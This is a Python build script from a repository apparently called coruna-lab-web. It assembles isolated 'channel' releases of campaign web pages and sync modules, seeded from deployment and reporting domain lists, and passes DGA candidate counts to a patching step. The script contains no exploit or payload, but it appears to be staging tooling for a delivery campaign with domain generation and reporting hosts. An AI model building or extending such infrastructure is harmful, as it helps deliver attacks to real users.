Files
coruna-lab-web/frontend/tools/new_project.py
T
hashbro 8b079d37e4 Build delivery over HTTPS and flatten source/web.
Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-08-09 16:07:55 +08:00

340 lines
11 KiB
Python

#!/usr/bin/env python3
"""Build one self-contained channel release from frontend/source.
Domains must be passed explicitly (build_api always supplies them).
Paths: frontend/{source,tools} → <channel-root>/{web,sync,out}
Default channel root: artifacts/channel/<id>/ under coruna-lab-web.
"""
from __future__ import annotations
import argparse
import hashlib
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
FRONTEND_ROOT = TOOLS.parent
PROJECT_ROOT = FRONTEND_ROOT.parent
SOURCE_ROOT = FRONTEND_ROOT / "source"
ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts"
LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling
SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "test"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def normalize_support_template(value: str | None) -> str:
template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower()
if template not in SUPPORT_TEMPLATES:
raise SystemExit(
f"unsupported --support-template {value!r}; "
f"choose one of: {', '.join(SUPPORT_TEMPLATES)}"
)
return template
def apply_support_template(campaign_dir: Path, template: str) -> None:
"""Replace web/support.html according to the selected template.
test — keep the campaign copy (current source HUD page)
blank — overwrite with templates/support/blank.html (no HUD UI)
"""
template = normalize_support_template(template)
dest = campaign_dir / "support.html"
if template == "test":
if not dest.is_file():
raise SystemExit(f"missing support.html after campaign copy: {dest}")
return
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
if not src.is_file():
raise SystemExit(f"missing support template: {src}")
shutil.copyfile(src, dest)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web"
if not src.is_dir():
raise SystemExit(f"missing source web template: {src}")
if not (src / "support.html").is_file():
raise SystemExit(f"missing source web/support.html under {src}")
if dst_campaign.exists():
raise SystemExit(f"web dest already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def load_json(path: Path) -> dict | None:
if not path.is_file():
return None
return json.loads(path.read_text())
def release_files(channel_root: Path) -> list[dict[str, object]]:
files: list[dict[str, object]] = []
for top in ("web", "sync"):
for path in sorted((channel_root / top).rglob("*")):
if not path.is_file():
continue
data = path.read_bytes()
files.append(
{
"path": path.relative_to(channel_root).as_posix(),
"size": len(data),
"sha256": hashlib.sha256(data).hexdigest(),
}
)
return files
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
if not prev or prev.get("mode") != "fixed_domains":
return False
return (
prev.get("deployment", {}).get("domains") == dep
and prev.get("reporting", {}).get("domains") == rep
)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
def one(label: str, domains: list[str]) -> str:
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
return hashlib.sha256(material).hexdigest()[:32]
dep_seed = one("deployment", dep)
rep_seed = one("reporting", rep)
if dep_seed == rep_seed:
rep_seed = one("reporting/alt", rep)
return dep_seed, rep_seed
def pick_channel(explicit: str | None, channels_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (channels_root / channel).exists():
if explicit:
raise SystemExit(f"channel/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def resolve_python() -> str:
"""PHP/panel often launches `python3` such that sys.executable is ''."""
exe = (sys.executable or "").strip()
if exe:
return exe
for name in ("python3", "python"):
found = shutil.which(name)
if found:
return found
raise SystemExit(
"cannot locate python interpreter (sys.executable is empty; install python3 on PATH)"
)
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def resolve_domains(cli_dep: list[str], cli_rep: list[str]) -> tuple[list[str], list[str]]:
if not cli_dep or not cli_rep:
raise SystemExit(
"provide both --deployment-domains and --reporting-domains "
"(Laravel no longer supplies domains to this project)."
)
return (
parse_domain_list(cli_dep, label="deployment"),
parse_domain_list(cli_rep, label="reporting"),
)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Create an isolated channel release containing web/ + sync/ from source."
)
)
parser.add_argument(
"--channel-id",
help="optional 32-char [0-9a-z] channel id (default: random, unique under web/)",
)
parser.add_argument(
"--deployment-domains",
action="append",
required=True,
help="Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
required=True,
help="Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument("--deployment-seed", help="optional; default: derive from domains")
parser.add_argument("--reporting-seed", help="optional; default: derive from domains")
parser.add_argument(
"--root",
type=Path,
help=(
"exact channel output root containing web/ + sync/ "
"(default: artifacts/channel/<channel-id>)"
),
)
parser.add_argument(
"--force",
action="store_true",
help="replace an existing channel output root",
)
parser.add_argument("--force-sync", action="store_true", help=argparse.SUPPRESS)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates for patch_all when rebuilding sync (default 5)",
)
parser.add_argument(
"--support-template",
default=DEFAULT_SUPPORT_TEMPLATE,
choices=SUPPORT_TEMPLATES,
help=(
"support.html template: test (source HUD page) or blank "
"(no HUD UI; default: test)"
),
)
args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
raise SystemExit(f"missing source web template (need web/support.html): {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
fixed_dep, fixed_rep = resolve_domains(args.deployment_domains, args.reporting_domains)
support_template = normalize_support_template(args.support_template)
channels_root = ARTIFACTS_ROOT / "channel"
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else pick_channel(None, channels_root)
)
channel_root = args.root.resolve() if args.root else (channels_root / channel).resolve()
if channel_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in channel_root.parents:
raise SystemExit("refusing to build into frontend/source")
if channel_root.exists():
if not (args.force or args.force_sync):
raise SystemExit(f"channel output already exists: {channel_root} (use --force)")
shutil.rmtree(channel_root)
channel_root.parent.mkdir(parents=True, exist_ok=True)
campaign_dir = channel_root / "web"
sync_dir = channel_root / "sync"
out_root = channel_root / "out"
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
print(f"support: template={support_template}")
print("domains: rebuild isolated web + sync")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print()
print("=== copy campaign template ===")
copy_campaign_template(campaign_dir)
apply_support_template(campaign_dir, support_template)
replace_tree(src_sync, sync_dir)
print(f"created web/ + sync/ (support_template={support_template})")
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
py = resolve_python()
derived_dep, derived_rep = seeds_from_domains(fixed_dep, fixed_rep)
dep = args.deployment_seed or derived_dep
rep = args.reporting_seed or derived_rep
cmd = [
py,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(channel_root),
"--channel-id",
channel,
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
*domain_args,
]
try:
print()
print("=== patch_all --apply ===")
run(cmd)
except BaseException:
shutil.rmtree(channel_root, ignore_errors=True)
raise
secondary_manifest = load_json(out_root / "secondary" / "MANIFEST.json") or {}
sync_manifest = load_json(out_root / "sync" / "MANIFEST.json") or {}
release_manifest = {
"schema_version": 1,
"channel_id": channel,
"support_template": support_template,
"deployment_seed": dep,
"reporting_seed": rep,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
"support_path": f"/channel/{channel}/web/support.html",
"daily_path": f"/channel/{channel}/sync/daily.html",
"secondary_manifest_sha256": hashlib.sha256(
json.dumps(secondary_manifest, sort_keys=True).encode()
).hexdigest(),
"sync_manifest_sha256": hashlib.sha256(
json.dumps(sync_manifest, sort_keys=True).encode()
).hexdigest(),
"files": release_files(channel_root),
}
(channel_root / "manifest.json").write_text(
json.dumps(release_manifest, indent=2) + "\n"
)
print()
print("=== ready ===")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir}")
print(f"channel: {out_root / 'channel.json'}")
print(f"domains: {out_root / 'domains.json'}")
print(f"manifest:{channel_root / 'manifest.json'}")
print()
print(f"served: /channel/{channel}/web/support.html")
print(f" /channel/{channel}/sync/daily.html")
return 0
if __name__ == "__main__":
raise SystemExit(main())